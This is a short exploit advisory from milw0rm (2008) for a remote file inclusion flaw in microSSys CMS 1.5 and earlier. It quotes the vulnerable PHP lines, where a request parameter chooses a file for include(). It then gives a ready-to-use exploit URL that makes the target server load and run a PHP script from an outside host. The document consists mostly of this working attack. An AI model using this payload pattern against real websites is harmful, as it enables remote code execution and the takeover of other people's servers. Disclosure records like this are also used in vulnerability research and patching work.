microssys cms <= 1.5 - Remote File Inclusion Vulnerability

## microSSys CMS &#60;= 1.5 Remote File Inclusion Vulnerability ## Software site: http://wajox.com/ ## =============================================================== ## By Raz0r (www.Raz0r.name) ## =============================================================== ## Vulnerable code (index.php@22-25,54-55): ## [22] if(isset($_REQUEST[&#34;1&#34;])){ ## [23] $P=$_REQUEST[&#34;1&#34;];}else{ ## [24] $P=&#34;main&#34;; ## [25] } ## [..] ## [54] if(isset($PAGES[$P])){}else{include(&#34;TH.txt&#34;);} ## [55] @include($PAGES[$P]); ## Nice... ## =============================================================== ## Exploit: ## http://host/index.php?1=lol&PAGES[lol]=http://raz0r.name/s.php ## =============================================================== # milw0rm.com [2008-05-19]